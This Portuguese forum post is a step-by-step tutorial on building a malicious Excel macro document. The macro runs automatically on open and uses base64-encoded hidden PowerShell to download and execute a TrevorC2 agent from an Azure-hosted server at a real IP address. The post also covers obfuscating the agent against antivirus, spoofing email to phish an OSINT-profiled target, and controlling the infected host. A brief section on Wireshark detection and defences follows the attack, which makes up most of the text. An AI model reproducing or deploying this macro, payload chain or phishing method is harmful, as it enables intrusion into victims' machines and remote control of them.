Ir para conteúdo

Desenvolvendo um documento malicioso e usando o Azure como servidor de C2


Joas Antonio

Posts Recomendados

Introdução

As ameaças persistentes avançadas são ataques direcionados especificamentes a um tipo de negócio ou organização, no caso muitos ataques de longa escala utilizam TTPs (Técnica, Táticas e Procedimentos) para comprometer seu alvo, seja utilizando um spear-phishing ou explorando vulnerabilidades em um sistema.

Como exemplo, temos as campanhas de ransomware que se propagam de diversas formas, seja elas por ataques de Phishing ou por meio de 0days. O Mitre Att&ck mostra como muitos grupos de cibercriminosos atuam e quais os principais vetores de ataques são utilizados, além dos TTPs.

Nesse artigo, vou demonstrar um ataque utilizando um documento maliciosos com um Macro VBA que instala um Agent de C2 usando o Trevorc2 para criar uma botnet no Azure.

“Antes de tudo, estou utilizando Azure para demonstrar como um C2 funciona externamente na prática, muitos criminosos usam esse tipo de serviço, mas claro a Microsoft sempre está de olho, por isso é sempre bom ter seu próprio servidor ou usar uma VPS.”

Azure configuration

Configurar o azure não é algo que vou demonstrar em passo a passo, mas por ora você pode criar uma conta gratuita para seus testes e realizar o procedimento para criar uma máquina virtual.

Você pode seguir esse passo a passo aqui:

Após criar a sua máquina, particularmente usei o Ubuntu 18.04, você pode digitar os seguintes comandos:

apt-get update

apt list — upgradable

apt-get install python

apt-get install python3

apt-get install python3-pip

apt-get install python-pip

Após isso, vamos partir para a configuração do nosso documento malicioso antes de configurarmos o servidor de C2

Documento Malicioso .XLSM

Irei criar um Macro bem simples para efetuar o download do agent que estara no servidor da minha aplicação e posteriormente executar o agent.ps1 para obtermos a nossa conexão.

O código é bem simples, você pode aprimorar ele e utilizar técnicas de obfuscação e sleep time para diminuir o comportamento anomalo dele.

Eu particularmente convertir as strings do powershell em base64, para dificultar a leitura do que está sendo executado no VBA, utilizei o seguinte comando:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“wget http://server:443/agent.ps1 -OutFile C:\Temp\agent.ps1”))

image.thumb.png.c478ca233256e6f49b121b7fcba1227a.png

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“C:\Temp\agent.ps1”))

image.thumb.png.40a7364257704da0d8e0d5d22fdea491.png

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“-ExecutionPolicy Bypass -Windowstyle Hidden -File c:\Temp\payload.ps1”))

image.thumb.png.99cc2f8a915a45b53043dabc2d498d0e.png 

Agora vou criar o meu VBA que será executado na minha planilha do excel, para isso vou abrir o Excel e apertar alt+f11

image.png.29cb980c01019efd59e075f725745373.png

image.thumb.png.48ce84d5cb4e1ef9dfe82049b43f1792.png

 

Crie um Módulo e adicione o seguinte código

Sub RunAndGetCmd()

strCommand = “Powershell -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAzAC4ANgA1AC4AMgAzADQALgAxADkANAA6ADQANAAzAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
 strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
 Set WshShell = CreateObject(“WScript.Shell”)
 Set WshShellExec = WshShell.Exec(strCommand)
 Set WshShellExec = WshShell.Exec(strCommand2)
 Set objShell = CreateObject(“Wscript.Shell”)
 objShell.Run (“powershell.exe -encodedCommand LQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBXAGkAbgBkAG8AdwBzAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARgBpAGwAZQAgAGMAOgBcAFQAZQBtAHAAXABwAGEAeQBsAG8AYQBkAC4AcABzADEA”)
 strOutput = WshShellExec.StdOut.ReadAll

End Sub

Agora adicione o seguinte código no Microsoft Excel Object

image.thumb.png.4a51cdcd6c4307bd373947f9338af38c.pngimage.thumb.png.1e7f0dcd33e5fce628af210ec05366cd.png

Private Sub Workbook_Open()

RunAndGetCmd

End Sub

Agora vamos salvar o código como Macro-enabled workbook

image.thumb.png.2e014ef5abfb23e44b727426d3caac1c.png

Após ter configurado, basta re-abrir o Excel e verificar se ele esta funcionando corretamente.

Configurando C2 e Obfuscando Agent

Agora vamos entrar no nosso servidor no Azure e configurar nosso servidor C2 e obfuscar nosso agent para não ser fácilmente detectado pelo AV.

Vamos clonar o repositório do Trevorc2

image.thumb.png.3ebd15b7efe9ff8df2ab28c21a2a67ec.png

Agora vamos instalar os pré-requisitos, digitando:

pip install -r requeriments.txt

pip3 install -r requeriments.txt

image.thumb.png.4efb16cfd742fb60f4b714bc16f5de82.png

Vamos acessar a pasta agents e agora vamos pegar o código trevorc2_client.ps1 para obfuscar esse código, antes vamos configurar apenas essa linha e por o IP do nosso servidor.

image.thumb.png.aef6ac8e9a56a1a49da26d4c133845ae.png

Vamos salvar e agora é só obfuscar o código, no caso você pode utilizar diversas técnicas para enconde e obsfucação.

No meu caso vou utilizar o PyFuscation para isso

image.thumb.png.95dbaa76b2a7d332614eea8aeb1d2da8.png 

Clonei o repositório e vou jogar o trevorc2_client.ps1 para dentro da pasta PyFuscation

image.thumb.png.f2d4b116854693f253db7d0b4056d67d.png

image.thumb.png.cffbf4f06abfd5b7454b9a75a332a690.png

Executei o pyfuscation 

image.thumb.png.1318ed6b369ee6a47ccb763e3c89ff85.png

Esse é o resultado, porém para verificarmos a efetividade dele vou rodar um virustotal (Não é recomendado se você não quer nerfar o seu código), como é somente para estudos vamos validar a efetividade.

image.thumb.png.929a75fb05f0969bf25c8af57e4e99d4.png

Vou subir um servidor de aplicação na porta 443 por conta da limitação do Azure e baixar o arquivo para analisar no virustotal, posso usar uma API para válidar também, mas vou utilizar a interface web mesmo.

https://support.virustotal.com/hc/en-us/articles/360006819798-API-Scripts-and-client-libraries

image.thumb.png.5aac7285f3c0540db0dcd1287ec83aa1.png

Agora vou renomear o agent para payload.ps1

image.thumb.png.fa699ffb103b5b635d6725e1b3bab1e6.png

Agora vamos iniciar o servidor do Trevorc2

image.thumb.png.27a5b7be563e88de750ad5061814b50e.png

image.thumb.png.8866a5571d0229669ac9d6c249449121.png

Ele detectou o meu apache2 ativado, vou desativar, pois o trevorc2 trabalha pela porta 80 (HTTP)

image.thumb.png.890c738dd21ba0c18e3e6472ccb2c4c4.png

image.thumb.png.485d85bdc43ab472b1c373c88b26502b.pngimage.thumb.png.b826ca616aae4d4f62c91bc958e21f26.png

Ainda não possuo nenhuma shell ainda, para isso vou precisar criar um vetor de ataque que no caso será um Phishing.

Ataque de Phishing

Phishing é um tipo de ataque de engenharia social frequentemente usado para roubar dados do usuário, incluindo credenciais de login e números de cartão de crédito. Ocorre quando um invasor, disfarçado de entidade confiável, induz a vítima a abrir um e-mail, mensagem instantânea ou mensagem de texto. O destinatário é então induzido a clicar em um link malicioso, o que pode levar à instalação de malware, ao congelamento do sistema como parte de um ataque de ransomware ou à revelação de informações confidenciais.

Um ataque pode ter resultados devastadores. Para indivíduos, isso inclui compras não autorizadas, roubo de fundos ou roubo de identidade.

Além disso, o phishing é frequentemente usado para obter uma posição segura em redes corporativas ou governamentais como parte de um ataque maior, como um evento de ameaça persistente avançada (APT). Neste último cenário, os funcionários são comprometidos a fim de contornar os perímetros de segurança, distribuir malware dentro de um ambiente fechado ou obter acesso privilegiado a dados protegidos.

Uma organização que sucumbe a tal ataque normalmente sofre graves perdas financeiras, além de queda na participação de mercado, reputação e confiança do consumidor. Dependendo do escopo, uma tentativa de phishing pode se transformar em um incidente de segurança do qual uma empresa terá dificuldade em se recuperar.

Para eu comprometer meu alvo, vou utilizar a técnica de E-mail Spoofing, claro que não é bem efetivo, pois existem muitos meios de mitigar, basta configurar o SPF de maneira correta, uma ferramenta que ajuda nesse aspecto é o https://www.dmarcanalyzer.com/spf/checker/ que analisa se seu dominio está configurado corretamente.

Vou me passar por uma organização desconhecida e irei levantar a informação do meu alvo utilizando o OSINT por meio de midias sociais.

image.thumb.png.e9b75923de1ab8700ec99abf141b5c21.png

image.png.3c12accd58aff29b134df493e810cc6f.png

Peguei as informações do usuário e o e-mail de contato dele, agora vou enviar esse documento malicioso que criamos para tentar compromete-lo.

Pode ser utilizado alguma ferramenta em Python de E-mail Spoofing, o próprio Setoolkit ou até mesmo o EMKEI que é uma ferramenta web para email spoofing.

https://emkei.cz/

image.thumb.png.a285e544768a735230ab1a6f22e12c15.png

Após o envio vamos torcer para não cair no SPAM ou para que o usuário clique e abra essa planilha

image.thumb.png.5b08ae7bd5a40d985785c968ba5e0f56.png

Após o recebimento vamos aguardar que o usuário abra e execute para obtermos algum resultado.

image.thumb.png.9209b33b6f3098ae328ce80127634339.png

Ótimo! Obtemos um resultado satisfatório, agora podemos nos aprofundar interagindo com o alvo, para isso basta digitar:

image.png.9b9242174feb125a062dfaecc9b9b131.png

Digitei o comando dir

image.thumb.png.679908e13ab74cb5f72e1d7adc048442.png

E obtive as pastas desse usuário, se quiser acessar outros dispositivos é só digitar:

image.thumb.png.eaeb17610f16783731cf5bd01f377def.png

E assim usar o comando: interact

Nesse caso não vou me aprofundar nos vetores de ataque, pois esse artigo é apenas para dar uma noção básica de um malware que se esconde em um arquivo .xlsm ao qual instala um agent de C2 para você utilizar da forma que desejar.

Detectando o C2?

Como exercicio é sempre bacana analisar o trafego de rede e ver como o C2 se comporta, por exemplo: O TrevorC2 que estamos utilizando nesse artigo é um modelo cliente / servidor para mascarar comando e controle por meio de um site normalmente navegável. A detecção se torna muito mais difícil porque os intervalos de tempo são diferentes e não usam solicitações POST para saída de dados.

Utilizando Wireshark podemos analisar o tráfego e coletar comportamentos anomalos na rede

image.thumb.png.88142a7390128c514771478e8a3c0f1e.png

Analisando eu encontrei uma comunicação HTTP no servidor 13.65.234.194, bem suspeito quando não possuo nem o browser aberto para realizar a comunicação com algum site HTTP.

Ao digitar o IP http://13.65.234.194/ no navegador, fui redirecionado para o site do Google, assim fica um pouco mais dificil de verificar se é um C2 ou não.

ip.addr == 13.65.234.194 

Filtrando, você pode analisar com calma e detectar algum comportamento suspeito.

Conclusão 

Os APTs é o medo de qualquer organização, pois um grupo de cibercriminosos que estão motivados a atacar e a comprometer o alvo é um sério risco para todos. Muitos ataques tem motivações diferentes, porém seu objetivo é afetar de alguma forma o seu alvo, seja gerando impactos financeiros ou não.

Se proteger não é uma tarefa fácil, existe um caminho a percorrer:

  • Implementar uma cultura de segurança da informação na sua organização;
  • Conscientizar os usuários sobre as diversas ameaças no meio cibernético;
  • Ficar em compliance com os principais padrões e normas do mercado;
  • Investir em soluções de segurança para proteger seu ambiente e a rede corporativa da sua organização;
  • Possuir um bom time de CSIRT;
  • Capacitar seus profissionais de segurança da informação;
  • Buscar soluções de IT que respeite a segurança da informação;

E caso você seja alvo de um ataque que utilize algum recurso tecnológico de empresas sérias para se propagar, reportar é a solução mais efetiva. Muitos C2 que utilizam instâncias do Azure, AWS, Google Cloud, são bloqueadas por essas provedoras de nuvem. Mas claro, se outros meios descentralizados são utilizado, cabe um bom time de Threat Intelligence para combater o inimigo e auxiliar no bloqueio dessa ameaça.

Esse foi um exemplo bem simples, que pode ser feito de várias formas, com certeza é sempre bom ficar de olho nos métodos que os atacantes, os Hackers maliciosos utilizam para utilizar no seu Red Team Operations.

Me adicione no LinkedIn: https://www.linkedin.com/in/joas-antonio-dos-santos

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

Editado por Joas Antonio
Faltou as imagens
  • Agradecer 1
Link para o comentário
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...